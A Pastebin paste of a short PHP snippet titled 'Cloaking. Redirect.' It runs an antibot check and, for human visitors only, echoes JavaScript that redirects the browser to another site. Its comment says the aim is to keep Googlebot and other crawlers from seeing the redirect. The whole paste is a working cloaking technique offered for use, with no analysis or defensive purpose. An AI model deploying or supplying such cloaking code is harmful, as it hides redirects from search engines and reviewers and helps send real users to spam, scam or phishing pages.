Advertisement
MikFoxi

Cloaking. Redirect.

Dec 26th, 2022 (edited)
2,794
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.38 KB | None | 0 0
  1. <?php
  2. // Cloaking. Redirect only people after antibot check. Googlebot and other bots will not know about the presence of the redirect code.
  3. require_once($_SERVER['DOCUMENT_ROOT'].'/antibot/code/include.php');
  4. if ($ab_config['whitebot'] != 1 AND $ab_config['disable'] == 0) {
  5. echo '<script type="text/javascript">
  6. document.location.href="https://antibot.cloud/";
  7. </script>';
  8. die();
  9. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement